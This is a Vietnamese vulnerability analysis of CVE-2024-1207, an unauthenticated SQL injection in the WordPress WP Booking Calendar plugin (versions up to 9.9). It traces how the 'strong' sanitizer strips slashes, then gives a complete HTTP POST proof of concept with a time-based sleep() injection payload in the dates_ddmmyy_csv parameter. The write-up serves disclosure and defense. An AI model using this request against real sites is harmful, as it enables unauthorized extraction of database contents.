Mô tả
Lỗ hổng Unauthenticated SQL Injection (CVE-2024-1207) ảnh hưởng đến plugin wordpress WP Booking Calendar phiên bản <= 9.9 thông qua tham sốcalendar_request_params[dates_ddmmyy_csv]
. Điều này làm cho kẻ tấn công không xác thực có thể thêm các truy vấn SQL bổ sung vào các truy vấn hiện để trích xuất thông tin nhạy cảm từ cơ sở dữ liệu.
Phân tích
Ở bán vá 9.9.1 thực hiện validatedates_ddmmyy_csv
từ strong
thành csv_dates
để khắc phục lỗ hổng.

ajax_WPBC_AJX_BOOKING__CREATE
. Hàm này được gọi trong action WPBC_AJX_BOOKING__CREATE.

wpbc_sanitize_params_in_arr
kiểm tra khi tham số validdate => strong
sẽ gọi hàm wpbc_sanitize_text_strong
thực hiện stripslashes()
giá trị nhập vào.

addslashes()
cho các giá trị của tham số nhập vào để đảm bảo an toàn khi sử dụng trong câu lệnh SQL.

validdate => strong
thì sẽ vô hiệu hóa áp dụng addslashes()
mặc định của Wordpress => dễ dẫn đến lỗi SQL Injection.
Trong hàm ajax_WPBC_AJX_BOOKING__CREATE
, tại dòng 61 sẽ gọi đến hàm get_sanitized__in_request__value_or_default
-> wpbc_sanitize_params_in_arr

wpbc_booking_save
để kiểm tra và thêm mới booking calendar

wpbc_booking_save
tại dòng 280 xử lý giá trị của tham số calendar_request_params[dates_ddmmyy_csv]
, gán vào biến $local_params['dates_only_sql_arr'] và gọi đến hàm wpbc__where_to_save_booking

wpbc_get_availability_per_days_arr
-> wpbc_get__booked_dates__per_resources__arr
và gán tham số Array[dates_to_check] = $local_params['dates_only_sql_arr']

wpbc__sql__get_booking_dates
-> wpbc_get__sql_where__for__dates
và thực hiện gán trực tiếp giá trị $params['dates_to_check'][$i]
vào trong câu truy vấn SQL.

POC
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 635
Connection: close
action=WPBC_AJX_BOOKING__CREATE&wpbc_ajx_user_id=0&nonce=17920ccd94&wpbc_ajx_locale=en_US&calendar_request_params%5Bresource_id%5D=1&calendar_request_params%5Bformdata%5D=select-one%5Erangetime1%5E09%3A00+-+10%3A00~text%5Ename1%5EA~text%5Esecondname1%5EA~email%5Eemail1%5EA%40A.COM~text%5Ephone1%5E~textarea%5Edetails1%5E&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params%5Bcustom_form%5D=&calendar_request_params%5Baggregate_resource_id_arr%5D=&calendar_request_params%5Bis_emails_send%5D=1&calendar_request_params%5Bactive_locale%5D=en_US&calendar_request_params%5Bdates_ddmmyy_csv%5D=17'))) and sleep(2)-- -.03.2024

Tham khảo
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/booking/booking-calendar-99-unauthenticated-sql-injection https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3032596%40booking&new=3032596%40booking&sfp_email=&sfph_mail= 615 lượt xem